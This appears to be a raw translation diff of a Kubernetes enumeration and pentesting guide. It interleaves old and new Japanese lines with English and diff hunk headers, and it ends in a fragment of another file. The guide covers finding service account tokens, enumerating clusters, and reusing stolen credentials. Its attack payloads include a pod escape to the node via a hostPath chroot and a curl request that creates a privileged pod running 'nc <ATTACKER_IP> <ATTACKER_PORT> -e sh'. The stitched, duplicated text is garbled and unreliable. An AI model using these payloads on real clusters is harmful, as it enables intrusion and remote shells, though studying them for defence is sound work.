_“When you create a pod, if you do not specify a service account, it is automatically assigned the_ default _service account in the same namespace.”_
**ServiceAccount**はKubernetesによって管理されるオブジェクトで、ポッド内で実行されるプロセスにアイデンティティを提供するために使用されます。\
すべてのサービスアカウントにはそれに関連するシークレットがあり、このシークレットにはベアラートークンが含まれています。これはJSON Web TokenJWT)であり、2者間での主張を安全に表現する方法です。
**ServiceAccount** is an object managed by Kubernetes and used to provide an identity for processes that run in a pod.\
Every service account has a secret related to it and this secret contains a bearer token. This is a JSON Web Token (JWT), a method for representing claims securely between two parties.
通常、次のディレクトリの**1つ**に含まれています:
Usually **one** of the directories:
- `/run/secrets/kubernetes.io/serviceaccount`
- `/var/run/secrets/kubernetes.io/serviceaccount`
- `/secrets/kubernetes.io/serviceaccount`
含まれるファイル:
contain the files:
- **ca.crt**: Kubernetes通信を確認するためのCA証明書です
- **namespace**: 現在の名前空間を示します
- **token**: 現在のポッドの**サービストークン**が含まれています。
- **ca.crt**: It's the ca certificate to check kubernetes communications
- **namespace**: It indicates the current namespace
- **token**: It contains the **service token** of the current pod.
トークンを取得したので、環境変数**`KUBECONFIG`**内でAPIサーバーを見つけることができます。詳細については、`(env | set) | grep -i "kuber|kube"`**`"`**を実行してください。
Now that you have the token, you can find the API server inside the environment variable **`KUBECONFIG`**. For more info run `(env | set) | grep -i "kuber|kube`**`"`**
サービスアカウントトークンは、ファイル**sa.key**に存在するキーによって署名され、**sa.pub**によって検証されます。
The service account token is being signed by the key residing in the file **sa.key** and validated by **sa.pub**.
**Kubernetes**のデフォルトの場所:
Default location on **Kubernetes**:
- /etc/kubernetes/pki
**Minikube**のデフォルトの場所:
Default location on **Minikube**:
- /var/lib/localkube/certs
### Hot Pods
_**Hot pods**_ 特権サービスアカウントトークンを含むポッドです。特権サービスアカウントトークンは、シークレットのリスト作成、ポッドの作成などの特権タスクを実行する権限を持つトークンです。
_**Hot pods are**_ pods containing a privileged service account token. A privileged service account token is a token that has permission to do privileged tasks such as listing secrets, creating pods, etc.
## RBAC
**RBAC**が何であるか知らない場合は、**このセクションを読んでください**
If you don't know what is **RBAC**, **read this section**.
## GUI Applications
- **k9s**: ターミナルからKubernetesクラスターを列挙するGUIです。コマンドは[https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/)で確認してください。`:namespace`と入力し、すべてを選択してから、すべての名前空間でリソースを検索します。
- **k8slens**: 無料トライアル日数を提供しています: [https://k8slens.dev/](https://k8slens.dev/)
- **k9s**: A GUI that enumerates a kubernetes cluster from the terminal. Check the commands in[https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/). Write `:namespace` and select all to then search resources in all the namespaces.
- **k8slens**: It offers some free trial days: [https://k8slens.dev/](https://k8slens.dev/)
## Enumeration CheatSheet
K8s環境を列挙するには、次のものが必要です:
In order to enumerate a K8s environment you need a couple of this:
- **有効な認証トークン**。前のセクションでユーザートークンとサービスアカウントトークンの検索場所を見ました。
- **Kubernetes APIのアドレス**_**https://host:port**_)。これは通常、環境変数やkube設定ファイルに見つかります。
- **オプション**: **APIサーバーを検証するためのca.crt**。これはトークンが見つかるのと同じ場所にあります。これはAPIサーバー証明書を検証するのに役立ちますが、`kubectl``--insecure-skip-tls-verify`を使用するか、`curl``-k`を使用すれば必要ありません。
- A **valid authentication token**. In the previous section we saw where to search for a user token and for a service account token.
- The **address (**_**https://host:port**_**) of the Kubernetes API**. This can be usually found in the environment variables and/or in the kube config file.
- **Optional**: The **ca.crt to verify the API server**. This can be found in the same places the token can be found. This is useful to verify the API server certificate, but using `--insecure-skip-tls-verify` with `kubectl` or `-k` with `curl` you won't need this.
これらの詳細を使用して、**Kubernetesを列挙**できます。何らかの理由で**API**が**インターネット**を通じて**アクセス可能**であれば、その情報をダウンロードしてホストからプラットフォームを列挙できます。
With those details you can **enumerate kubernetes**. If the **API** for some reason is **accessible** through the **Internet**, you can just download that info and enumerate the platform from your host.
しかし、通常**APIサーバーは内部ネットワーク内にあります**。したがって、侵害されたマシンを通じて**トンネルを作成**して自分のマシンからアクセスする必要があります。または、**kubectl**バイナリを**アップロード**するか、**`curl/wget/anything`**を使用してAPIサーバーに生のHTTPリクエストを実行できます。
However, usually the **API server is inside an internal network**, therefore you will need to **create a tunnel** through the compromised machine to access it from your machine, or you can **upload the** [**kubectl**](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux) binary, or use **`curl/wget/anything`** to perform raw HTTP requests to the API server.
### Differences between `list` and `get` verbs
**`get`**権限を持つと、特定の資産の情報にアクセスできます(_`kubectl``describe`オプション_)。
With **`get`** permissions you can access information of specific assets (_`describe` option in `kubectl`_) API:
```
GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}
```
**`list`** 権限がある場合、資産の種類をリストするための API リクエストを実行することが許可されます (_`kubectl``get` オプション_)
**`list`** 権限がある場合、ある種の asset を一覧表示する API リクエストを実行できます(_`kubectl``get` オプション_
```bash
#In a namespace
GET /apis/apps/v1/namespaces/{namespace}/deployments
#In all namespaces
GET /apis/apps/v1/deployments
```
**`watch`** 権限がある場合、資産を監視するためのAPIリクエストを実行することが許可されます
`watch` 権限がある場合、assets を監視するための API requests を実行できます:
```
GET /apis/apps/v1/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true
@@ -91,14 +91,14 @@ GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name} [DEPRECATED]
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments [DEPRECATED]
GET /apis/apps/v1/watch/deployments [DEPRECATED]
```
らは、Deploymentが変更されるたび(または新しいものが作成されとき)に、完全なマニフェストを返すストリーミング接続を開きます。
それらは、変更があるたび(または新しいものが作成されときに)Deployment の完全な manifest を返す streaming connection を開きます。
> [!CAUTION]
> の `kubectl` コマンドは、オブジェクトをリストする方法を示しています。データにアクセスしたい場合は、`get` の代わりに `describe` を使用する必要があります。
> 以下の `kubectl` commands は、オブジェクトの list の方法だけを示しています。データに access したい場合は、`get` ではなく `describe` を使必要があります。
### curlを使用する
### Using curl
ポッド内から、いくつかの環境変数を使用できます
pod の内部から、いくつかの env variables を使えます:
```bash
export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
@@ -109,23 +109,23 @@ alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
# if kurl is still got cert Error, using -k option to solve this.
```
> [!WARNING]
> デフォルトでは、ポッドは **kube-api サーバー** に **`kubernetes.default.svc`** というドメイン名で **アクセス** でき、**`/etc/resolv.config`** で kube ネットワークを見ることができます。ここでは、kubernetes DNS サーバーのアドレスが見つかります(同じ範囲の ".1" kube-api エンドポイントです)。
> デフォルトでは、pod はドメイン名 **`kubernetes.default.svc`** で **kube-api server** に**アクセス**でき、また **`/etc/resolv.config`** で kube network を確認できます。ここで kubernetes DNS server のアドレスが見つかります(同じレンジの ".1" kube-api endpoint です)。
### Using kubectl
トークンと API サーバーのアドレスを持っている場合、ここに示されているように kubectl または curl を使用してアクセスます
トークンと API server のアドレスがあれば、ここに示すように kubectl または curl を使てアクセスできます:
デフォルトでは、APISERVER は `https://` スキーマで通信しています
デフォルトでは、APISERVER は `https://` schema で通信しています
```bash
alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces
```
> URLに`https://`がない場合、Bad Requestのようなエラーが発生する可能性があります。
> url に `https://` がない場合、Bad Request のような Error が出ることがあります。
[**公式のkubectlチートシートはこちら**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/)で見つけることができます。以下のセクションの目的は、アクセスを取得した新しいK8sを列挙し理解するためのさまざまなオプションを順序立てて示すことです。
[**official kubectl cheatsheet here**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/) を見ることができます。以下のセクションの目的は、アクセスをた新しい K8s を列挙し理解するためのさまざまな options を、順序立てて示すことです。
`kubectl`が送信するHTTPリクエストを見つけるには、パラメータ`-v=8`を使用できます
`kubectl` が送信する HTTP request を見つけるには、parameter `-v=8` を使用できます
#### MitM kubectl - kubectlのプロキシ化
#### MitM kubectl - Proxyfying kubectl
```bash
# Launch burp
# Set proxy
@@ -134,7 +134,7 @@ export HTTPS_PROXY=http://localhost:8080
# Launch kubectl
kubectl get namespace --insecure-skip-tls-verify=true
```
### 現在の構成
### 現在の設定
{{#tabs }}
{{#tab name="Kubectl" }}
@@ -150,7 +150,7 @@ kubectl config set-context --current --namespace=<namespace>
{{#endtab }}
{{#endtabs }}
もしユーザーの資格情報を盗むことができたら、次のような方法で**ローカルに設定**できます:
ユーザーの認証情報をいくつか盗めたなら、次のような方法で**ローカルに設定**できます:
```bash
kubectl config set-credentials USER_NAME \
--auth-provider=oidc \
@@ -161,9 +161,9 @@ kubectl config set-credentials USER_NAME \
--auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \
--auth-provider-arg=id-token=( your id_token )
```
### サポートされているリソース取得
### サポートされているリソース取得
この情報を使用すると、リストできるすべてのサービスを知ることができます
この情報があれば、列挙できるすべてのサービスがわかります
{{#tabs }}
{{#tab name="kubectl" }}
@@ -174,7 +174,22 @@ k api-resources --namespaced=false #Resources NOT specific to a namespace
{{#endtab }}
{{#endtabs }}
### 現在の権限を取得
### 確認すべき Object metadata
object を読める場合は、テーブル出力や `describe` だけに頼らず、完全な YAML または JSON を export してください。最も有用な security context は、さまざまな resource type に共通して存在する汎用の object fields に含まれていることが多いです:
```bash
kubectl get pod <pod> -n <ns> -o yaml
kubectl get deploy <deploy> -n <ns> -o json | jq '.metadata, .spec, .status'
kubectl get pods -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,SA:.spec.serviceAccountName,NODE:.spec.nodeName,PHASE:.status.phase'
```
- `metadata.uid`, `name`, `namespace`, `apiVersion` and `kind` は、正確なオブジェクトを特定し、異なる namespace や API group にある同名オブジェクトとの混同を避けます。
- `metadata.labels` と selectors は、Services、Deployments、ReplicaSets、Pods、NetworkPolicies、automation を接続します。selectors をたどることは、Service の実際の backend pods を特定する最速の方法であることが多いです。
- `metadata.annotations` には、ingress の挙動、cloud load balancer の設定、GitOps や Helm のメタデータ、policy exemptions、service mesh の設定などの運用コンテキストが漏れることがあります。ここに secrets を含めるべきではありませんが、実際の cluster では有用な手がかりが露出していることがよくあります。
- `metadata.ownerReferences` は controller の系譜を示します。Pod が Deployment に owned された ReplicaSet に owned されている場合、Pod だけを変更または削除しても通常は原因を解決できません。
- `metadata.finalizers``metadata.deletionTimestamp` は、削除処理で止まっている resource の理由を説明し、cleanup controllers や persistence/disruption の仕掛けを明らかにすることがあります。
- `status`、Events、conditions からは、node placement、pod IPs、image IDs、failure messages、scheduling issues、admission denials、controller の進行状況を把握できます。これらは有用な手がかりですが、誰が action を実行したかを証明するには、audit logs が依然として必要です。
### Get Current Privileges
{{#tabs }}
{{#tab name="kubectl" }}
@@ -197,21 +212,21 @@ kurl -i -s -k -X $'POST' \
{{#endtab }}
{{#endtabs }}
権を確認する別の方法は、ツールを使用することです: [**https://github.com/corneliusweig/rakkess**](https://github.com/corneliusweig/rakkess)\*\*\*\*
を確認する別の方法は、ツール [**https://github.com/corneliusweig/rakkess**](https://github.com/corneliusweig/rakkess)\*\*\*\* を使うことです。
**Kubernetes RBAC** について詳しく学ぶには、以下を参照してください:
**Kubernetes RBAC** については、以下で詳しく学べます:
{{#ref}}
kubernetes-role-based-access-control-rbac.md
{{#endref}}
**どの特権を持っているかが分かったら、** 次のページを確認して **それらを悪用して特権を昇格できるかどうかを判断してください:**
**自分がどの権限を持っているか** が分かったら、次のページを確認して**それらを悪用して** 権限昇格できるかを判断してください:
{{#ref}}
abusing-roles-clusterroles-in-kubernetes/
{{#endref}}
### 他の役割を取得する
### 他の roles を取得する
{{#tabs }}
{{#tab name="kubectl" }}
@@ -229,9 +244,9 @@ kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/clu
{{#endtab }}
{{#endtabs }}
### 名前空間の取得
### ネームスペースの取得
Kubernetesは、同じ物理クラスターに基づく**複数の仮想クラスター**をサポートしています。これらの仮想クラスターは**名前空間**と呼ばれます。
Kubernetes は、同じ物理クラスタを基盤とする **複数の仮想クラスタ** をサポートしています。これらの仮想クラスタ**namespaces** と呼ばれます。
{{#tabs }}
{{#tab name="kubectl" }}
@@ -266,13 +281,13 @@ kurl -v https://$APISERVER/api/v1/namespaces/custnamespace/secrets/
{{#endtab }}
{{#endtabs }}
シークレットを読み取ることができれば、次の行を使用して各トークンに関連する権限を取得できます:
secretsを読める場合、以下の行を使用して各tokenに関連する権限を取得できます:
```bash
for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done
```
### サービスアカウントの取得
### Service Account の取得
このページの冒頭で説明したように、**ポッドが実行されると通常サービスアカウントが割り当てられます**。したがって、サービスアカウント、権限、およびそれらが実行されている場所をリストアップすることで、ユーザーが権限を昇格させることができるかもしれません
このページの冒頭で説明したように、**pod が実行されると通常は service account が割り当てられます**。したがって、service account、その権限、そしてそれらがどこで実行されているかを列挙することで、ユーザーが権限を昇格できる可能性があります
{{#tabs }}
{{#tab name="kubectl" }}
@@ -288,9 +303,9 @@ kurl -k -v https://$APISERVER/api/v1/namespaces/{namespace}/serviceaccounts
{{#endtab }}
{{#endtabs }}
### デプロイメントの取得
### Deployments を取得
デプロイメントは、**実行**する必要がある**コンポーネント**を指定します。
Deployments は、ステートレスなアプリケーション workload の desired state を指定します。これは ReplicaSets を作成し、その ReplicaSets が Pods を作成します。
{{#tabs }}
{{#tab name="kubectl" }}
@@ -302,14 +317,33 @@ k get deployments -n custnamespace
{{#tab name="API" }}
```bash
kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/deployments/
kurl -v https://$APISERVER/apis/apps/v1/namespaces/<namespace>/deployments/
```
{{#endtab }}
{{#endtabs }}
### Podsを取得する
### StatefulSets を取得する
Podsは実際に**実行**される**コンテナ**です。
StatefulSets は、安定した名前、順序付きのロールアウト動作、そして多くの場合レプリカごとの persistent volume を必要とする Pods を管理します。
{{#tabs }}
{{#tab name="kubectl" }}
```bash
k get statefulsets
k get statefulsets -n custnamespace
```
{{#endtab }}
{{#tab name="API" }}
```bash
kurl -v https://$APISERVER/apis/apps/v1/namespaces/<namespace>/statefulsets/
```
{{#endtab }}
{{#endtabs }}
### Podsを取得
Podsは実際に**実行**される**containers**です。
{{#tabs }}
{{#tab name="kubectl" }}
@@ -328,7 +362,7 @@ kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/pods/
### サービスの取得
Kubernetes **サービス**は、**特定のポートとIPでサービスを公開するために使用されます**(これは、実際にサービスを提供しているポッドへのロードバランサーとして機能します)。これは、攻撃を試みるために他のサービスを見つける場所を知るのに興味深いです。
Kubernetes **services** は、**特定のポートと IP で service を公開**するために使れます(これは、実際に service を提供している pods に対する load balancer として動作します)。これは、攻撃を試みるべき他の services をどこで見つけられるかを知るうえで重要です。
{{#tabs }}
{{#tab name="kubectl" }}
@@ -340,14 +374,14 @@ k get services -n custnamespace
{{#tab name="API" }}
```bash
kurl -v https://$APISERVER/api/v1/namespaces/default/services/
kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/services/
```
{{#endtab }}
{{#endtabs }}
### ノード取得
### ノード取得
**クラスタ内に構成されているすべてのノードを取得します**
クラスタ内に設定されているすべての**nodes**を取得します。
{{#tabs }}
{{#tab name="kubectl" }}
@@ -365,7 +399,7 @@ kurl -v https://$APISERVER/api/v1/nodes/
### DaemonSetsの取得
**DaemonSets**は、**特定のポッドがクラスタ内のすべてのノード(または選択されたノード)で実行されていることを保証**します。DaemonSetを削除すると、それによって管理されているポッドも削除されます。
**DaemonSets** は、クラスタ内の**選択されたすべての node で特定の Pod が動作すること**を保証します。DaemonSet を削除すると、それによって管理されている Pod も削除されます。
{{#tabs }}
{{#tab name="kubectl" }}
@@ -376,32 +410,52 @@ k get daemonsets
{{#tab name="API" }}
```bash
kurl -v https://$APISERVER/apis/extensions/v1beta1/namespaces/default/daemonsets
kurl -v https://$APISERVER/apis/apps/v1/namespaces/<namespace>/daemonsets
```
{{#endtab }}
{{#endtabs }}
### Cronジョブ取得する
### ジョブ取得
Cronジョブは、crontabのような構文を使用して、特定のアクションを実行するポッドの起動をスケジュールすることを可能にします。
Jobs は完了するまで実行される Pods を作成します。これは一般的に migration、backup、batch work、単発の administrative task に使われます。
{{#tabs }}
{{#tab name="kubectl" }}
```bash
k get cronjobs
k get jobs
k get jobs -n custnamespace
```
{{#endtab }}
{{#tab name="API" }}
```bash
kurl -v https://$APISERVER/apis/batch/v1beta1/namespaces/<namespace>/cronjobs
kurl -v https://$APISERVER/apis/batch/v1/namespaces/<namespace>/jobs
```
{{#endtab }}
{{#endtabs }}
### configMapを取得する
### CronJobの取得
configMapには常に多くの情報と、kubernetesで実行されるアプリに提供されるconfigfileが含まれています。通常、他の内部/外部サービスに接続し、検証するために使用される多くのパスワード、秘密、トークンを見つけることができます。
CronJobは、crontabのようなスケジュールを使用して、タスク型実行のためにPodを起動するJobを作成します。
{{#tabs }}
{{#tab name="kubectl" }}
```bash
k get cronjobs
k get cronjobs -n custnamespace
```
{{#endtab }}
{{#tab name="API" }}
```bash
kurl -v https://$APISERVER/apis/batch/v1/namespaces/<namespace>/cronjobs
```
{{#endtab }}
{{#endtabs }}
### configMap を取得
configMap には常に多くの情報と、kubernetes 上で動作するアプリに提供される設定ファイルが含まれています。通常、他の internal/external service への接続や認証に使われる password、secrets、tokens を多く見つけることができます。
{{#tabs }}
{{#tab name="kubectl" }}
@@ -417,10 +471,10 @@ kurl -v https://$APISERVER/api/v1/namespaces/${NAMESPACE}/configmaps
{{#endtab }}
{{#endtabs }}
### ネットワークポリシー / Ciliumネットワークポリシーの取得
### Network Policies / Cilium Network Policies の取得
{{#tabs }}
{{#tab name="最初のタブ" }}
{{#tab name="First Tab" }}
```bash
k get networkpolicies
k get CiliumNetworkPolicies
@@ -429,7 +483,7 @@ k get CiliumClusterwideNetworkPolicies
{{#endtab }}
{{#endtabs }}
### すべて取得 / すべて
### すべて取得 / All
{{#tabs }}
{{#tab name="kubectl" }}
@@ -439,7 +493,7 @@ k get all
{{#endtab }}
{{#endtabs }}
### **Helmによって管理されているすべてのリソースを取得する**
### **helmによって管理されているすべてのリソースを取得する**
{{#tabs }}
{{#tab name="kubectl" }}
@@ -449,7 +503,7 @@ k get all --all-namespaces -l='app.kubernetes.io/managed-by=Helm'
{{#endtab }}
{{#endtabs }}
### **Podの消費量を取得する**
### **Podの消費量を取得**
{{#tabs }}
{{#tab name="kubectl" }}
@@ -459,23 +513,23 @@ k top pod --all-namespaces
{{#endtab }}
{{#endtabs }}
## kubectlを使用せずにクラスターと対話する
## kubectlを使わずにclusterとやり取りする
KubernetesのコントロールプレーンがRESTful APIを公開しているため、HTTPリクエストを手で作成し、**curl****wget**などの他のツールで送信できます。
Kubernetes control planeがREST-ful APIを公開しているため、HTTPリクエストを手作業で作成し、**curl****wget** などの他のツールで送信できます。
### ポッドからの脱出
### podからの脱出
新しいポッドを作成できる場合、そこからノードに脱出できるかもしれません。そのためには、yamlファイルを使用して新しいポッドを作成し、作成したポッドに切り替え、次にノードのシステムにchrootします。既存のポッドをyamlファイルの参照として使用できます。既存のイメージやパスを表示しているためです。
新しいpodを作成できる場合、そこからnodeへ脱出できるかもしれません。そのためには、yamlファイルを使て新しいpodを作成し、作成したpodへ移動してから、nodeのsystemへchrootする必要があります。既存のpodは、既存のimagesやpathesを表示しているため、yamlファイルの参照として用できます。
```bash
kubectl get pod <name> [-n <namespace>] -o yaml
```
> 特定のノードにポッドを作成する必要がある場合は、次のコマンドを使用してノードのラベルを取得できます
> 特定のnodeにpodを作成する必要がある場合は、nodeのlabelを取得するために次のコマンドを使えます
>
> `k get nodes --show-labels`
>
> 一般的に、kubernetes.io/hostname と node-role.kubernetes.io/master は選択するのに適したラベルです。
> 一般的に、kubernetes.io/hostname と node-role.kubernetes.io/master は選択に使うのに適したlabelです。
その後、attack.yaml ファイルを作成します
その後、attack.yamlファイルを作成します
```yaml
apiVersion: v1
kind: Pod
@@ -505,23 +559,25 @@ restartPolicy: Never
# or using
# node-role.kubernetes.io/master: ""
```
その後、ポッドを作成します。
[original yaml source](https://gist.github.com/abhisek/1909452a8ab9b8383a2e94f95ab0ccba)
その後、podを作成します
```bash
kubectl apply -f attacker.yaml [-n <namespace>]
```
次のように作成したポッドに切り替えることができます
作成された pod には次のように切り替えられます
```bash
kubectl exec -it attacker-pod [-n <namespace>] -- sh # attacker-pod is the name defined in the yaml file
```
そして最終的に、ノードのシステムにchrootします
そして最後に、node の system に chroot します
```bash
chroot /root /bin/bash
```
情報は次のから取得されました: [Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1](https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216) [Attacking and Defending Kubernetes: Bust-A-Kube Episode 1](https://www.inguardians.com/attacking-and-defending-kubernetes-bust-a-kube-episode-1/)
Information obtained from: [Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1](https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216) [Attacking and Defending Kubernetes: Bust-A-Kube Episode 1](https://www.inguardians.com/attacking-and-defending-kubernetes-bust-a-kube-episode-1/)
### 特権ポッドの作成
### privileged pod の作成
対応するyamlファイルはのとおりです:
対応する yaml ファイルは以下のとおりです:
```yaml
apiVersion: v1
kind: Pod
@@ -549,7 +605,7 @@ volumes:
hostPath:
path: /
```
ポッドをcurlで作成する:
curlでpodを作成する:
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
@@ -565,9 +621,9 @@ curl --path-as-is -i -s -k -X $'POST' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"labels\":{\"app\":\"pentest\"},\"name\":\"everything-allowed-exec-pod\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"args\":[\"nc <ATTACKER_IP> <ATTACKER_PORT> -e sh\"],\"command\":[\"/bin/sh\",\"-c\",\"--\"],\"image\":\"alpine\",\"name\":\"everything-allowed-pod\",\"securityContext\":{\"privileged\":true},\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"noderoot\"}]}],\"hostIPC\":true,\"hostNetwork\":true,\"hostPID\":true,\"volumes\":[{\"hostPath\":{\"path\":\"/\"},\"name\":\"noderoot\"}]}}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
```
### Podを削除する
### podを削除する
curlを使用してPodを削除する:
curlでpodを削除する:
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
@@ -584,7 +640,7 @@ curl --path-as-is -i -s -k -X $'DELETE' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods/$POD_NAME"
```
### サービスアカウントの作成
### Service Account を作成する
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
@@ -602,7 +658,7 @@ curl --path-as-is -i -s -k -X $'POST' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"ServiceAccount\",\"metadata\":{\"name\":\"secrets-manager-sa-2\",\"namespace\":\"default\"}}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
```
### サービスアカウントの削除
### Service Account を削除する
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
@@ -619,7 +675,7 @@ curl --path-as-is -i -s -k -X $'DELETE' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts/$SA_NAME"
```
### ロールを作成する
### Roleを作成する
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
@@ -637,7 +693,7 @@ curl --path-as-is -i -s -k -X $'POST' \
--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"Role\",\"metadata\":{\"name\":\"secrets-manager-role\",\"namespace\":\"default\"},\"rules\":[{\"apiGroups\":[\"\"],\"resources\":[\"secrets\"],\"verbs\":[\"get\",\"create\"]}]}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
```
### ロールの削除
### Role を削除する
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
@@ -655,7 +711,7 @@ curl --path-as-is -i -s -k -X $'DELETE' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles/$ROLE_NAME"
```
### ロールバインディングの作成
### Role Bindingを作成する
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
@@ -672,7 +728,7 @@ curl --path-as-is -i -s -k -X $'POST' \
--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"RoleBinding\",\"metadata\":{\"name\":\"secrets-manager-role-binding\",\"namespace\":\"default\"},\"roleRef\":{\"apiGroup\":\"rbac.authorization.k8s.io\",\"kind\":\"Role\",\"name\":\"secrets-manager-role\"},\"subjects\":[{\"apiGroup\":\"\",\"kind\":\"ServiceAccount\",\"name\":\"secrets-manager-sa\",\"namespace\":\"default\"}]}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/$NAMESPACE/default/rolebindings?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
```
### ロールバインディングの削除
### Role Binding を削除する
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
@@ -690,7 +746,7 @@ curl --path-as-is -i -s -k -X $'DELETE' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/rolebindings/$ROLE_BINDING_NAME"
```
### シークレットの削除
### SecretをDeleteする
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
@@ -707,7 +763,7 @@ curl --path-as-is -i -s -k -X $'POST' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/$NAMESPACE/default/secrets?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
```
### シークレットの削除
### Secretを削除する
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
@@ -4,60 +4,81 @@
## PodSecurityContext <a href="#podsecuritycontext-v1-core" id="podsecuritycontext-v1-core"></a>
[**From the docs:**](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core)
[**docsより:**](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core)
Podのセキュリティコンテキストを指定する際、いくつかの属性を使用できます。防御的なセキュリティの観点から考慮すべきことは次のとおりです
Pod の security context を指定する際には、いくつかの属性を使ます。防御的なセキュリティの観点では、以下を考慮すべきです
- **runASNonRoot****True**に設定する
- **runAsUser**を設定する
- 可能であれば、**seLinuxOptions****seccompProfile**を指定して**permissions**を**制限**することを検討する
- **runAsGroup****supplementaryGroups**を介して**privilege** **group**アクセスを与えない
- **runASNonRoot****True**する
- **runAsUser** を設定する
- 可能であれば、**seLinuxOptions****seccompProfile** を指定して **permissions****制限** する
- **runAsGroup****supplementaryGroups** 経由で **privilege****group** アクセスを与えない
| パラメータ | 説明 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>fsGroup</strong></a><br><em>integer</em></p> | <p>ポッド内の<strong>すべてのコンテナ</strong>に適用される特別な補助グループ。いくつかのボリュームタイプでは、Kubeletがそのボリュームの<strong>所有権を変更</strong>できる:<br>1. 所有するGIDFSGroupになります<br>2. setgidビットが設定されます(ボリューム内で作成された新しいファイルFSGroupが所有します)<br>3. パーミッションビットはrw-rw----ORされます。未設定の場合、Kubeletはボリュームの所有権パーミッション変更しません。</p> |
| Parameter | Description |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>fsGroup</strong></a><br><em>integer</em></p> | <p>Pod 内の <strong>すべての containers</strong> に適用される特別な supplemental group。volume の種類によっては、Kubelet がその volume の <strong>所有権を Pod 所有に変更</strong>できる:<br>1. 所有 GIDFSGroup にな<br>2. setgid ビットが設定される (volume 内で新規作成されたファイルの所有者は FSGroup になる)<br>3. パーミッションビットは rw-rw----OR され。未設定の場合、Kubelet はどの volume の所有権パーミッション変更しない</p> |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>fsGroupChangePolicy</strong></a><br><em>string</em></p> | ボリュームの**所有権とパーミッションを変更する**動作を定義します。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsGroup</strong></a><br><em>integer</em></p> | コンテナプロセスのエントリポイントを実行するための**GID**。未設定の場合はランタイムのデフォルトを使用します。 |
